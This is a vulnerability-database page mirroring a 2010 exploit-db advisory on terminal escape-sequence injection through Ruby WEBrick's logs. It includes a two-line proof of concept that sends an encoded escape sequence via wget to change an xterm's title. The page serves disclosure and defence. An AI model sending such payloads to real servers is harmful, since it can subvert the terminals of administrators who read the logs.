Lucene search
K

Ruby 1.9.1 - WEBrick 'Terminal Escape Sequence in Logs' Command Injection

🗓️ 11 Jan 2010 00:00:00Reported by evilaliv3Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 149 Views

Ruby WEBrick 'Terminal Escape Sequence in Logs' Command Injection vulnerability in versions prior to Ruby 1.9.1 patchlevel 37

Code
source: https://www.securityfocus.com/bid/37710/info


Ruby WEBrick is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Versions *prior to* the following are affected:

Ruby 1.8.6 patchlevel 388
Ruby 1.8.7 patchlevel 249
Ruby 1.9.1 patchlevel 378 

The following example is available:

% xterm -e ruby -rwebrick -e 'WEBrick::HTTPServer.new(:Port=>8080).start' &
% wget http://www.example.com:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jan 2010 00:00Current
7.4High risk
Vulners AI Score7.4
149